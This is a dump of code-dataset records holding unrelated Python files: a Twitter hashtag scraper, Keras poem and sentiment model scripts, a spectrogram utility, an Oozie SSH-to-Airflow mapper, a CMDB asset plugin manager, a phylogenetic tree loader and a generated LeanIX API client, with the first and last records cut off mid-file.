h.split('|')[1]\n return h == make_pw_hash(name, pw, salt)\n \n# def escape_html(text):\n# esc_chars = (('&', '&'), \n# ('<', '<'),\n# ('>', '>'),\n# (\"'\", '''),\n# ('\"', '"'))\n# for (i, j) in esc_chars:\n# text = text.replace(i, j)\n# return text","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"100600806","text":"import json\nimport csv\nimport tweepy\nimport re\n#for sentaiment analysis\nfrom textblob import TextBlob\n\n\"\"\"\nINPUTS:\n consumer_key, consumer_secret, access_token, access_token_secret: codes \n telling twitter that we are authorized to access this data\n hashtag_phrase: the combination of hashtags to search for\nOUTPUTS:\n none, simply save the tweet info to a spreadsheet\n\"\"\"\ndef search_for_hashtags(consumer_key, consumer_secret, access_token, access_token_secret, hashtag_phrase,filename_extension,tweets_count):\n \n # Default settings part\n if consumer_key == \"\":\n consumer_key = \"put Default key here\"\n\n if consumer_secret == \"\":\n consumer_secret = \"put Default key here\"\n\n if access_token == \"\":\n access_token = \"put Default key here\"\n\n if access_token_secret == \"\":\n access_token_secret = \"put Default key here\"\n\n\n\n \n #create authentication for accessing Twitter\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n\n #initialize Tweepy API\n api = tweepy.API(auth)\n #api = tweepy.API(auth, monitor_rate_limit=True, wait_on_rate_limit=True)\n #get the name of the spreadsheet we will write to\n fname = '_'.join(re.findall(r\"#(\\w+)\", hashtag_phrase))\n fname = hashtag_phrase;\n print (fname)\n #open the spreadsheet we will write to\n #with open('%s.csv' % (fname), 'w') as file:\n with open('%s.csv' % (fname+'_'+filename_extension), 'w') as file: \n w = csv.writer(file)\n\n #write header row to spreadsheet\n w.writerow(['timestamp','tweet_original_time', 'tweet_text', 'username', 'all_hashtags', 'followers_count','sentaiment_score'])\n loopCounter =0\n\n tweepyCursor = tweepy.Cursor(api.search, q=hashtag_phrase+' -filter:retweets', \\\n lang=\"en\", tweet_mode='extended',monitor_rate_limit=True,wait_on_rate_limit = True).items()\n #for each tweet matching our hashtags, write relevant info to the spreadsheet\n for tweet in tweepyCursor:\n try:\n\n print (\"--------------------------------Start Of Tweet ---------------------------\")\n loopCounter +=1\n print (\"tweet number : \" + str(loopCounter)) \n #print (tweet)\n tweet_text =tweet.full_text.replace('\\n',' ').encode('utf-8');\n #print(str(tweet.user));\n created_original_time =str(tweet.user.created_at)\n ##print (\"--------------------------------------------------\")\n ##print(created_original_time);\n analysis = TextBlob(tweet.full_text)\n print (\"--------------------------------End Of Tweet ---------------------------\")\n\n w.writerow([tweet.created_at,created_original_time, tweet_text, tweet.user.screen_name.encode('utf-8'), [e['text'] for e in tweet._json['entities']['hashtags']], tweet.user.followers_count,analysis.sentiment.polarity])\n except tweepy.TweepError:\n time.sleep(60 * 15)\n continue\n except tweepy.RateLimitError:\n time.sleep(60 * 15)\n continue\n except StopIteration:\n break \n \nconsumer_key = input('Consumer Key ')\nconsumer_secret = input('Consumer Secret ')\naccess_token = input('Access Token ')\naccess_token_secret = input('Access Token Secret ')\n \nhashtag_phrase = input('Hashtag Phrase ')\nfilename_extension = input('File Name Extension :')\ntweets_count = int(input('Number of Tweets to retrieve :'))\n\n\n\nif __name__ == '__main__':\n search_for_hashtags(consumer_key, consumer_secret, access_token, access_token_secret, hashtag_phrase,filename_extension,tweets_count)\n","sub_path":"tweet-fetcher-infinity-py3.py","file_name":"tweet-fetcher-infinity-py3.py","file_ext":"py","file_size_in_byte":3791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"622443375","text":"import struct\nimport sys\n\nverb_id = {}\nrole_id = {}\nnoun_id = {}\nimage_id = {}\n\nfor line in open(\"verb_id.tab\").readlines():\n tabs = line[0:-1].split(\"\\t\")\n verb_id[tabs[1]] = int(tabs[0])\n\nfor line in open(\"role_id.tab\").readlines():\n tabs = line[0:-1].split(\"\\t\")\n role_id[tabs[1]] = int(tabs[0])\n\nfor line in open(\"noun_id.tab\").readlines():\n tabs = line[0:-1].split(\"\\t\")\n noun_id[tabs[1]] = int(tabs[0])\nnoun_id[\"null\"] = -1\n\nfor line in open(\"image_id.tab\").readlines():\n tabs = line[0:-1].split(\"\\t\")\n image_id[tabs[1]] = int(tabs[0])\n\ndef write_int(f , i):\n f.write(struct.pack('i',int(i))) \n\ninfile = open(sys.argv[1])\noutfile = open(sys.argv[2],\"wb\")\n\nfor line in infile.readlines(): \n#sys.stdin.readlines():\n tabs = line[0:-1].split(\"\\t\") \n image = image_id[tabs[0]]\n verb = verb_id[tabs[1]]\n write_int(outfile,image)\n write_int(outfile,verb)\n role_noun = []\n for i in range(2,len(tabs),2):\n role = role_id[tabs[i]]\n noun = noun_id[tabs[i+1]]\n #write_int(outfile,role)\n write_int(outfile,noun)\n #role_noun.append((role,noun))\n #outstr = str(image) + \"\\t\" + str(verb)\n #for (k,v) in role_noun:\n # outstr =outstr+\"\\t\" + str(k) + \"\\t\" + str(v)\n #print outstr\n\noutfile.close()\n\n","sub_path":"evaluation/to_ids.py","file_name":"to_ids.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"562209684","text":"import matplotlib.pyplot as plt\nimport librosa\nimport librosa.display\nimport scipy\nimport numpy as np\nimport os\nimport cv2\nclass Spectogram():\n #Window length is the size of the window\n #Window padding is number of zeros to pad audio after window is applied\n #Hop length is the number of audio samples between each STFT output\n def __init__(self, window_length= 2048, window_padding=0, hop_length=None, window=scipy.signal.windows.hann):\n self.window_length = window_length\n self.window_padding = window_padding\n self.window = window\n if hop_length != None:\n self.hop_length = hop_length\n else:\n self.hop_length = window_length // 4\n\n #Code based off examples from https://librosa.org/doc/latest/index.html\n def signal_to_spectogram(self, wav_file):\n signal, sampling_rate = librosa.load(wav_file)\n spectogram_matrix = librosa.stft(signal, n_fft = self.window_length + self.window_padding, hop_length=self.hop_length)\n return spectogram_matrix\n\n def signal_to_spectogram_file(self, wav_file, compressed_file, dims):\n spec = self.signal_to_spectogram(wav_file)\n spectogram_matrix =cv2.resize(np.abs(spec), dims, interpolation=cv2.INTER_AREA)\n np.savetxt(compressed_file, spectogram_matrix, fmt = '%.2f')\n\n @staticmethod\n def float_to_string(real_num):\n if abs(real_num) < 0.01:\n return \"0\"\n return \"{:.2f}\".format(real_num)\n\n def npy_to_spectogram_file(self, spectogram_file, compressed_file, dims):\n spec = Spectogram.load_spectogram_from_npy_file(spectogram_file)\n spectogram_matrix =cv2.resize(spec, dims, interpolation=cv2.INTER_AREA)\n np.savetxt(compressed_file, spectogram_matrix, fmt = '%.2f')\n\n @staticmethod\n def compress_spectogram(spectogram, dims):\n return cv2.resize(spectogram, dims, interpolation=cv2.INTER_AREA)\n\n @staticmethod\n def load_spectogram_from_file(spectogram_file):\n return np.loadtxt(spectogram_file)\n\n @staticmethod\n def load_spectogram_from_npy_file(npy_file):\n return np.load(npy_file)\n\n @staticmethod\n def real_spectogram_to_db_spectogram(spectogram):\n return librosa.amplitude_to_db(spectogram, ref=np.max)\n\n @staticmethod\n def display_complex_spectogram(spectogram):\n real_spectogram_db = librosa.amplitude_to_db(np.abs(spectogram), ref=np.max)\n plt.figure()\n librosa.display.specshow(real_spectogram_db)\n plt.colorbar()\n plt.show()\n\n @staticmethod\n def display_real_spectogram(spectogram):\n real_spectogram_db = Spectogram.real_spectogram_to_db_spectogram(spectogram)\n plt.figure()\n librosa.display.specshow(real_spectogram_db)\n plt.colorbar()\n plt.show()\n\ndef npy_file_test(test_file):\n spectogram = Spectogram()\n spec=Spectogram.load_spectogram_from_npy_file(test_file)\n Spectogram.display_real_spectogram(spec)\n spectogram.npy_to_spectogram_file(test_file, 'spec', (500,150))\n spec=Spectogram.load_spectogram_from_file('spec')\n print(spec.shape[0], spec.shape[1])\n Spectogram.display_real_spectogram(spec)\n\ndef wav_file_test(wav_file):\n spectogram = Spectogram()\n spec=spectogram.signal_to_spectogram(wav_file)\n print(spec.shape[0], spec.shape[1])\n Spectogram.display_complex_spectogram(spec)\n spectogram.signal_to_spectogram_file(wav_file, 'spec', (150,150))\n spec=Spectogram.load_spectogram_from_file('spec')\n print(spec.shape[0], spec.shape[1])\n Spectogram.display_real_spectogram(spec)\n\n\n\ndef convert_signals_to_spectograms():\n spectogram = Spectogram()\n for data_dir in ['test_data/', 'training_data/', 'validation_data/']:\n print('Converting' + ' ' + data_dir)\n for label_dir in os.listdir(data_dir):\n os.mkdir(data_dir + 'spec' + label_dir)\n path = data_dir + label_dir + '/'\n for wav_file in os.listdir(path):\n print('Converting ' + wav_file)\n spec = wav_file + '.spec'\n spec_path = data_dir + 'spec' + label_dir + '/'\n spectogram.signal_to_spectogram_file(path + wav_file, spec_path + spec)\n print('Done Converting!')\n \nif __name__ == '__main__':\n wav_file_test('test_data/1/Medley-solos-DB_test-1_81fb3f6e-980f-5bfe-f1c0-b9f1a7cca824.wav')\n npy_file_test('/media/grant/Home/mtg-jamendo-dataset/mtg-dataset/01/1101.npy')\n","sub_path":"Spectogram.py","file_name":"Spectogram.py","file_ext":"py","file_size_in_byte":4452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"224035697","text":"# -*- coding: utf-8 -*-\n# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Maps SSH Oozie node to Airflow's DAG\"\"\"\nfrom typing import Dict, Set\nfrom xml.etree.ElementTree import Element\n\nfrom airflow.utils.trigger_rule import TriggerRule\n\nfrom mappers.action_mapper import ActionMapper\nfrom utils import el_utils\n\nfrom utils.template_utils import render_template\n\n\nclass SSHMapper(ActionMapper):\n \"\"\"\n Converts an SSH oozie node to Airflow operator.\n\n In order to use this, the user must specify an Airflow connection to use, and\n provide the password there.\n \"\"\"\n\n def __init__(\n self,\n oozie_node: Element,\n name: str,\n trigger_rule: str = TriggerRule.ALL_SUCCESS,\n params: Dict[str, str] = None,\n template: str = \"ssh.tpl\",\n **kwargs,\n ):\n ActionMapper.__init__(self, oozie_node=oozie_node, name=name, trigger_rule=trigger_rule, **kwargs)\n\n if params is None:\n params = {}\n self.template = template\n\n cmd_node = self.oozie_node.find(\"command\")\n arg_nodes = self.oozie_node.findall(\"args\")\n if cmd_node is None or not cmd_node.text:\n raise Exception(\"Missing or empty command node in SSH action {}\".format(self.oozie_node))\n cmd = \" \".join([cmd_node.text] + [x.text if x.text else \"\" for x in arg_nodes])\n self.command = el_utils.convert_el_to_jinja(cmd, quote=True)\n host = self.oozie_node.find(\"host\")\n if host is None:\n raise Exception(\"Missing host node in SSH action: {}\".format(self.oozie_node))\n host_key = el_utils.strip_el(host.text)\n # the node is formatted like [USER]@[HOST]\n if host_key in params:\n host_key = params[host_key]\n\n # Since ariflow separates user and host, we can't use jinja templating.\n # We must check if it is in params.\n user_host = host_key.split(\"@\")\n self.user = user_host[0]\n self.host = user_host[1]\n\n def convert_to_text(self) -> str:\n return render_template(template_name=self.template, task_id=self.name, **self.__dict__)\n\n @staticmethod\n def required_imports() -> Set[str]:\n return {\n \"from airflow.utils import dates\",\n \"from airflow.contrib.operators import ssh_operator\",\n \"from airflow.contrib.hooks import ssh_hook\",\n }\n","sub_path":"oozie-to-airflow/mappers/ssh_mapper.py","file_name":"ssh_mapper.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"570802600","text":"# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\"\"\"\nCreates a total of three tabs in two windows, and clicks randomly on all of them.\n\"\"\"\n\nfrom random import choice\nfrom typing import Dict\n\nimport webtraversallibrary as wtl\n\nfrom .util import parse_cli_args\n\n\ndef policy(_, view: wtl.View) -> Dict[wtl.View, wtl.Action]:\n return {v: choice(v.actions.by_type(wtl.actions.Click)) for v in view.values()}\n\n\nif __name__ == \"__main__\":\n cli_args = parse_cli_args()\n\n workflow = wtl.Workflow(\n config=wtl.Config(cli_args.config),\n policy=policy,\n url={\n \"first\": {\"A\": \"www.uppsalahandkraft.se\", \"B\": \"https://www.uppsalamodemassa.se\"},\n \"second\": {\"C\": \"shop.biskopsgarden.com\"},\n },\n output=cli_args.output,\n )\n\n workflow.classifiers.add(wtl.ActiveElementFilter(action=wtl.actions.Click))\n\n workflow.run()\n workflow.quit()\n","sub_path":"examples/multiples.py","file_name":"multiples.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"341040491","text":"import numpy as np\nimport pandas as pd\nfrom keras.models import Model\nfrom keras.layers import LSTM, Embedding, Dense, Dropout, Bidirectional, Input\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.layers.wrappers import TimeDistributed\nimport my_model\ntr_poems = open('train.txt', 'r').readlines()\nlist_7 = []\nlist_14 = []\nlist_be = []\nlist_af = []\nlist_21_in = []\nlist_21_tar = []\npoem_view_list = []\nfor line in tr_poems:\n poem = line.split(' ')\n poem_view_list.append(poem)\n list_7.append(poem[0:7])\n list_14.append(poem[8:15])\n list_be.append(poem[0:7] + poem[8:15])\n list_af.append(poem[16:23] + poem[24:31])\n list_21_in.append(['@'] + poem[8:15] + poem[16:23] + poem[24:31])\n list_21_tar.append(poem[8:15] + poem[16:23] + poem[24:31] + ['#'])\nchar2id = []\nChar_set = set()\nfor i in range(len(list_7)):\n char2id.extend(list_7[i] + list_21_in[i] + list_21_tar[i])\n Char_set.update(list_7[i] + list_21_in[i] + list_21_tar[i])\nchar2id = pd.Series(char2id).value_counts()\nchar2id[:] = range(len(char2id))\nid2char = {}\nfor i in Char_set:\n id2char[char2id[i]] = i\n\n\nbatch_size = 64\nepochs = 60\nlstm_hidden_dim = 512\nword_size = 400\nencoder_seq_length = 14\ndecoder_seq_length = 14\ndic_size = len(char2id)\n\n\ndef poem2num(poem_list):\n npoem_list = []\n for line in poem_list:\n one_line = []\n for one_char in line:\n one_line.append(char2id[one_char])\n npoem_list.append(one_line)\n return npoem_list\n\n\ndef poem2one_hot(poem_list, dic_size, line_length):\n plist = np.array(poem_list)\n res = np.zeros(shape=(len(plist), line_length, dic_size), dtype='bool')\n for i in range(len(plist)):\n for j in range(line_length):\n res[i, j, char2id[plist[i, j]]] = 1\n return res\n\n\nencoder_input_data = np.array(poem2num(list_be))\n#decoder_input_data = np.array(poem2num(list_21_in))\ndecoder_target_data = poem2one_hot(list_af, dic_size, decoder_seq_length)\nnew_model = my_model.create_super_model(len(char2id))\ncheckpointer = ModelCheckpoint(\n filepath=\"my_trained_model/fin_poem_s2s_weights.h5\", verbose=1, save_best_only=False, period=1, save_weights_only=True)\nnew_model.compile(optimizer='rmsprop', loss='categorical_crossentropy', metrics=[\n 'accuracy'])\nnew_model.fit(encoder_input_data, decoder_target_data,\n batch_size=batch_size, epochs=epochs, callbacks=[checkpointer])\n\nnew_model.save('my_trained_model/fin_poem_s2s_model.h5')\n\n\nexit(0)\n'''\ntrain_model = my_model.create_train_model(len(char2id))\ntrain_model.compile(optimizer='rmsprop', loss='categorical_crossentropy')\ncheckpointer = ModelCheckpoint(\n filepath=\"my_trained_model/poem_s2s_weights.h5\", verbose=1, save_best_only=False, period=1, save_weights_only=True)\ntrain_model.fit([encoder_input_data, decoder_input_data], decoder_target_data,\n batch_size=batch_size, epochs=epochs, callbacks=[checkpointer])\ntrain_model.save('my_trained_model/poem_s2s_model.h5')\n'''\n","sub_path":"process_data_train2.py","file_name":"process_data_train2.py","file_ext":"py","file_size_in_byte":2974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"421094814","text":"import Library\nfrom Constants import Constants\n\n\nclass ExecutionData:\n\n def __init__(self):\n print(\"Execution Data Constructor\")\n global readobj, AppNames, deviceName, executionType, deviceType\n readobj = Library.ReadFile.readFileData()\n\n def dataGenerator(self):\n dict_excel = readobj.readExcel(\"ShopNation_Validation\", Constants.Excel_file_path)\n li = dict_excel.keys()\n for i in li:\n li1 = dict_excel[i].keys()\n for j in li1:\n if j == \"App_Validation\" and dict_excel[i][\"Execution_Flag\"] == 'Y':\n AppNames = dict_excel[i][j]\n AppNameList = AppNames.split('|')\n return AppNameList\n\n def fetchDeviceName(self):\n dict_app = readobj.readExcel(\"BrowserStack_Config\", Constants.Excel_file_path)\n li = dict_app.keys()\n for i in li:\n li1 = dict_app[i].keys()\n for j in li1:\n if j == \"Device_Name\" and dict_app[i][\"Run_Flag\"] == 'Y':\n deviceName = dict_app[i][j]\n return deviceName\n\n def fetchDeviceType(self):\n dict_app = readobj.readExcel(\"BrowserStack_Config\", Constants.Excel_file_path)\n li = dict_app.keys()\n if(self.fetchExecutionType()==\"BrowserStack\"):\n for i in li:\n li1 = dict_app[i].keys()\n for j in li1:\n if j == \"Device_Type\" and dict_app[i][\"Run_Flag\"] == 'Y':\n deviceType = dict_app[i][j]\n if(self.fetchExecutionType()==\"Local Machine\"):\n deviceType = \"Desktop\"\n return deviceType\n\n def fetchExecutionType(self):\n dict_app = readobj.readExcel(\"Application_Config\", Constants.Excel_file_path)\n li = dict_app.keys()\n j = 0\n for i in li:\n if (j == 1):\n executionType = i\n j = j + 1\n return executionType","sub_path":"Library/ExecutionData.py","file_name":"ExecutionData.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"421971528","text":"#!/usr/bin/env python3\nimport importlib\nfrom repository import models\nfrom .server import Server\nfrom django.conf import settings\nfrom django.db import transaction\n\n\nclass PluginsManage:\n def __init__(self, client_info):\n \"\"\"\n :param client_info: 取到auto_client传递过来的数据\n \"\"\"\n self.client_info = client_info\n self.basic = \"basic\"\n self.board = \"board\"\n self.plugins_items = settings.PLUGIN_ITEMS\n\n def exec(self):\n \"\"\"\n :return:code: 1: 成功 0: 失败\n \"\"\"\n code = {\"code\": 1, \"msg\": None}\n hostname = self.client_info[self.basic][\"data\"][\"hostname\"]\n server_obj = models.Server.objects.filter(hostname=hostname).first()\n\n if not server_obj:\n # 如果对象不存在,则报错(主机名唯一,不进行自动汇报。避免人为错误)\n \"\"\"\n 如果需要自动发现需要在这里修改代码\n \"\"\"\n # 自动发现开始\n # 增加server表开始\n with transaction.atomic(): # 事务操作\n tmp = {}\n tmp.update(self.client_info[self.basic][\"data\"])\n tmp.update(self.client_info[self.board][\"data\"])\n server_obj = models.Server.objects.create(**tmp)\n # 增加server表结束\n\n # 增加硬盘表数据开始\n for i in self.client_info[\"disk\"][\"data\"].values():\n i[\"server_obj\"] = server_obj\n models.Disk.objects.create(**i)\n # 增加硬盘表数据结束\n\n # 增加内存表数据开始\n for i in self.client_info[\"memory\"][\"data\"].values():\n i[\"server_obj\"] = server_obj\n models.Memory.objects.create(**i)\n # 增加内存表数据结束\n\n # 增加网卡表数据开始\n for k, v in self.client_info[\"nic\"][\"data\"].items():\n v[\"server_obj\"] = server_obj\n v[\"name\"] = k\n models.NIC.objects.create(**v)\n # 增加网卡表数据结束\n # 自动发现结束\n # 关闭自动发现开始\n # code[\"code\"] = 0\n # code[\"msg\"] = \"主机不存在\"\n # 关闭自动发现结束\n return code\n\n with transaction.atomic():\n # 更新服务器基本信息开始\n obj = Server(server_obj, self.client_info[self.basic], self.client_info[self.board])\n obj.process()\n # 更新服务器基本信息结束\n\n # 更新服务器硬件(内存,硬盘,网卡)开始\n \"\"\"\n self.plugins_items = {\n \"nic\": \"api.plugins.nic.Nic\",\n \"disk\": \"api.plugins.disk.Disk\",\n \"memory\": \"api.plugins.memory.Memory\",\n }\n \"\"\"\n for k, v in self.plugins_items.items():\n try:\n model_path, cls = v.rsplit(\".\", maxsplit=1)\n md = importlib.import_module(model_path)\n cls = getattr(md, cls)\n obj = cls(server_obj, self.client_info[k])\n obj.process()\n except Exception as e:\n code[\"code\"] = 0\n code[\"msg\"] = e\n return code\n # 更新服务器硬件(内存,硬盘,网卡)结束\n","sub_path":"CMDB/day92/auto_server/api/plugins/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"133761675","text":"import re\nimport logging\nfrom collections import defaultdict\n\nfrom django.core.files.base import ContentFile\nfrom nexus import NexusReader\nfrom ete3 import Tree\nfrom ete3.coretype.tree import TreeError\nfrom dplace_app.models import (\n Society, LanguageTree, Language, LanguageTreeLabels, LanguageTreeLabelsSequence,\n)\nfrom dplace_app.tree import update_newick\n\n\ndef tree_names(repos):\n sequences = []\n for phylo in repos.phylogenies:\n _tree_names(phylo, sequences)\n LanguageTreeLabelsSequence.objects.bulk_create(sequences)\n return len(sequences)\n \n\ndef _tree_names(phylo, label_sequences):\n try:\n tree = LanguageTree.objects.get(name=phylo.id)\n except:\n return False\n\n try:\n Tree(tree.newick_string, format=1)\n except TreeError:\n return False\n\n for item in phylo.xdid_socid_links:\n name_on_tip = item['Name_on_tree_tip']\n xd_ids = [i.strip() for i in item['xd_id'].split(',')]\n society_ids = [i.strip() for i in item['soc_id'].split(',')]\n\n if not xd_ids: # pragma: no cover\n continue\n\n label, created = LanguageTreeLabels.objects.get_or_create(\n languageTree=tree, label=name_on_tip)\n \n tree.taxa.add(label)\n for society in Society.objects.all().filter(xd_id__in=xd_ids):\n try:\n f_order = len(society_ids) - society_ids.index(society.ext_id) - 1\n except:\n f_order = 0\n label_sequences.append(\n LanguageTreeLabelsSequence(\n society=society, labels=label, fixed_order=f_order))\n tree.save()\n return True\n\n\ndef load_trees(repos, verbose=False):\n l_by_iso, l_by_glotto, l_by_name = \\\n defaultdict(list), defaultdict(list), defaultdict(list)\n\n for lang in Language.objects.all().select_related('iso_code'):\n if lang.iso_code:\n l_by_iso[lang.iso_code.iso_code].append(lang)\n l_by_glotto[lang.glotto_code].append(lang)\n l_by_name[lang.name].append(lang)\n\n def get_language(taxon_name):\n if taxon_name in l_by_iso:\n return l_by_iso[taxon_name]\n if taxon_name in l_by_glotto:\n return l_by_glotto[taxon_name]\n if taxon_name in l_by_name:\n return l_by_name[taxon_name]\n\n count = 0\n for phylo in repos.phylogenies:\n count += _load_tree(phylo.id, phylo.trees, get_language, phylo=phylo)\n\n for fname in repos.path('trees').iterdir():\n if fname.name.endswith('.trees'):\n count += _load_tree(fname.stem, fname, get_language)\n return count\n\n\ndef _load_tree(name, fname, get_language, verbose=False, phylo=None):\n # now add languages to the tree\n reader = NexusReader(fname.as_posix())\n\n # make a tree if not exists. Use the name of the tree\n tree, created = LanguageTree.objects.get_or_create(name=name)\n if not created:\n return 0\n\n if phylo:\n source = phylo.as_source()\n source.save()\n tree.source = source\n\n with open(fname.as_posix(), 'rb') as f:\n tree.file = ContentFile(f.read())\n tree.save()\n\n # Remove '[&R]' from newick string\n reader.trees.detranslate()\n newick = re.sub(r'\\[.*?\\]', '', reader.trees.trees[0])\n try:\n newick = newick[newick.index('=') + 1:]\n except ValueError: # pragma: no cover\n newick = newick\n\n if verbose: # pragma: no cover\n logging.info(\"Formatting newick string %s\" % (newick))\n \n tree.newick_string = str(newick)\n if phylo:\n tree.save()\n return 1\n\n # phylogeny taxa require reading of CSV mapping files, glottolog trees do not\n for taxon_name in reader.trees.taxa:\n if taxon_name is '1':\n continue # pragma: no cover\n\n languages = get_language(taxon_name)\n if not languages:\n continue\n\n for l in languages:\n society = Society.objects.filter(language=l)\n label, created = LanguageTreeLabels.objects.get_or_create(\n languageTree=tree,\n label=taxon_name,\n language=l\n )\n for s in society:\n LanguageTreeLabelsSequence.objects.get_or_create(\n society=s,\n labels=label,\n fixed_order=0\n )\n tree.taxa.add(label)\n tree.save()\n return 1\n\n\ndef prune_trees(_):\n labels = LanguageTreeLabels.objects.all()\n count = 0\n for t in LanguageTree.objects.order_by('name').all():\n if update_newick(t, labels):\n count += 1\n t.save()\n return count\n","sub_path":"dplace_app/loader/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":4662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"609682834","text":"#!/usr/bin/env python\n\"\"\"\nThe MIT License (MIT)\n\nCopyright (c) 2017 LeanIX GmbH\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nNOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually.\n\"\"\"\nimport sys\nimport os\n\nfrom models import *\n\n\nclass ActivitiesApi(object):\n\n def __init__(self, apiClient):\n self.apiClient = apiClient\n\n \n\n def getActivities(self, **kwargs):\n \"\"\"\n Get the latest activities\n\n Args:\n scope, str: If set to 'my', only the activities related to subscribed Fact Sheet are listed for the authenticated user. (optional)\n\n startDate, str: If set, only activities greater or equal the given date time are retrieved. If no start time is given, then the start time is calculated based on the last event. (optional)\n\n endDate, str: If set, only activities less or equal the given date time are retrieved. If no end time is given, all activities until today are selected. (optional)\n\n factSheetType, str: Type of Fact Sheet, e.g. services for Application (optional)\n\n eventType, str: Event type, e.g. creation of a Fact Sheet: OBJECT_CREATE (optional)\n\n countOnly, integer: If set to 1, then only the count is transmitted and data is left empty (optional)\n\n \n\n Returns: ActivityStream\n \"\"\"\n\n allParams = ['scope', 'startDate', 'endDate', 'factSheetType', 'eventType', 'countOnly']\n\n params = locals()\n for (key, val) in params['kwargs'].iteritems():\n if key not in allParams:\n raise TypeError(\"Got an unexpected keyword argument '%s' to method getActivities\" % key)\n params[key] = val\n del params['kwargs']\n\n resourcePath = '/activities'\n resourcePath = resourcePath.replace('{format}', 'json')\n method = 'GET'\n\n queryParams = {}\n headerParams = {}\n formParams = {}\n bodyParam = None\n\n if ('scope' in params):\n queryParams['scope'] = self.apiClient.toPathValue(params['scope'])\n if ('startDate' in params):\n queryParams['startDate'] = self.apiClient.toPathValue(params['startDate'])\n if ('endDate' in params):\n queryParams['endDate'] = self.apiClient.toPathValue(params['endDate'])\n if ('factSheetType' in params):\n queryParams['factSheetType'] = self.apiClient.toPathValue(params['factSheetType'])\n if ('eventType' in params):\n queryParams['eventType'] = self.apiClient.toPathValue(params['eventType'])\n if ('countOnly' in params):\n queryParams['countOnly'] = self.apiClient.toPathValue(params['countOnly'])\n if formParams:\n headerParams['Content-type'] = 'application/x-www-form-urlencoded'\n\n # postData = (formParams if formParams else bodyParam)\n postData = params['body'] if 'body' in params else None\n\n response = self.apiClient.callAPI(resourcePath, method, queryParams,\n postData, headerParams)\n\n if not response:\n return None\n\n responseObject = self.apiClient.deserialize(response, 'ActivityStream')\n return responseObject\n \n\n \n\n \n\n\n\n\n","sub_path":"src/leanix/ActivitiesApi.py","file_name":"ActivitiesApi.py","file_ext":"py","file_size_in_byte":4257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"600645605","text":"# coding=utf-8\n\n'''\n使用字向量作为lstm模型的输入,训练lstm模型\n'''\n\nimport numpy as np\nimport pandas as pd\n\npos = pd.read_table('./data/traindata.txt', header=None,sep='\\t')\nneg = pd.read_table('./data/testdata.txt', header=None,sep='\\t')\nlabel=pos[0].append(neg[0], ignore_index=True)\nall_= pos.append(neg, ignore_index=True)\nall_['label']=label\n\n# print(all_[1])\n# print(all_['label'])\n\nmaxlen = 200 #截断字数\nmin_count = 20 #出现次数少于该值的字扔掉。这是最简单的降维方法\n\ncontent = ''.join(all_[1])\nabc = pd.Series(list(content)).value_counts()\nabc = abc[abc >= min_count]\nabc[:] = range(1, len(abc)+1)\nabc[''] = 0 #添加空字符串用来补全\nword_set = set(abc.index)\n\ndef doc2num(s, maxlen):\n s = [i for i in s if i in word_set]\n s = s[:maxlen] + ['']*max(0, 